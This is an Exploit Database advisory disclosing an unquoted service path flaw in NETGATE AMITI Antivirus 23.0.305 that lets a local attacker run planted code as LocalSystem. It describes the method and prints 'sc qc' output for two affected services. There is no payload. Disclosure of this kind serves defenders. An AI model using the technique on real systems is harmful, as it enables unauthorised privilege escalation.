NETGATE AMITI Antivirus 23.0.305 - Unquoted Service Path Privilege Escalation

EDB-ID:
40540

CVE:
N/A

EDB Verified: ✓

Author:
AMIR.GHT

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2016-10-15

Vulnerable App:

```
#############################################################################
# Exploit Title: NETGATE AMITI Antivirus Unquoted Service Path Privilege
Escalation
# Date: 15/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.netgate.sk/
# Software Link: http://www.netgate.sk/download/download.php?id=11
# Version : build 23.0.305  (Latest)
# Tested on: Windows 7
#############################################################################

AMITI Antivirus installs two service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the
service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc AmitiAvSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AmitiAvSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Engine Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>sc qc AmitiAvHealth
[SC] QueryServiceConfig SUCCESS
-------------------------------------------------
SERVICE_NAME: AmitiAvHealth
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti
Antivirus\AmitiAntivirusHealth.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Health Check
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

Tags:

Advisory/Source: Link